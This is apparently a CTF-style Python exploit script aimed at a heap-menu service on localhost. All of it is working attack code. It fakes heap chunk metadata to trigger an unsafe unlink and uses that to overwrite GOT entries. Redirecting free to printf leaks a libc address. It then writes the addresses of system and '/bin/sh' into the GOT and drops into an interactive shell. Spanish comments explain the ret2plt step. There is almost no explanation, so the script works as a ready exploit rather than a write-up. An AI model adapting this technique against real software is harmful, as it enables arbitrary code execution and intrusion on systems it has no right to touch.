Created
March 28, 2016 05:55
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from amnesia import * | |
from struct import pack, unpack | |
p64 = lambda x: pack("<Q", x) | |
u64 = lambda x: unpack("<Q", x)[0] | |
s = amnesiaSocket("localhost", 4444) | |
s.writeLine("1") | |
s.writeLine("256") | |
s.writeLine("1") | |
s.writeLine("256") | |
s.writeLine("2") | |
s.writeLine("1") | |
s.writeLine("272") | |
# 0x602130 = ptr1 - 3 | |
# 0x602138 = ptr1 - 2 | |
s.writeLine(p64(0x0) + p64(0x101) + p64(0x602130) + p64(0x602138) + "A"*224 + p64(0x100) + p64(0x110)) | |
#prev_size #size #fd #bk #prev_size #size | |
s.writeLine("3") | |
s.writeLine("2") | |
s.writeLine("2") | |
s.writeLine("1") | |
s.writeLine("48") | |
# 0x602018 = ptr1 = free@got.plt | |
# 0x602040 = ptr2 = printf@got.plt | |
# 0x602150 = ptr3 | |
s.writeLine(p64(0x0) + p64(0x0) + p64(0x0) + p64(0x602018) + p64(0x602040) + p64(0x602150)) | |
#ptr1-3 #ptr1-2 #ptr1-1 #ptr1 #ptr2 #ptr3 | |
s.writeLine("2") | |
s.writeLine("1") | |
s.writeLine("8") | |
# 0x4007a0 = printf@plt | |
# en este punto se hace una llamada a free que en | |
# la got de free está el ret2plt = 0x4007a0 a | |
# printf con argumento ptr2 = 0x602040 | |
s.writeLine(p64(0x4007a0)) | |
s.writeLine("3") | |
s.writeLine("2") | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
s.readLine() | |
leak = u64(s.read(6).ljust(8, '\0')) | |
print "base libc: %s" % hex(leak + 0x1B1E90) | |
s.writeLine("2") | |
s.writeLine("3") | |
s.writeLine("8") | |
s.writeLine(p64(leak + 0x1169FA)) # /bin/sh | |
s.writeLine("2") | |
s.writeLine("1") | |
s.writeLine("8") | |
s.writeLine(p64(leak - 0xf900)) # system | |
s.writeLine("3") | |
s.writeLine("2") | |
s.interact_shell() |
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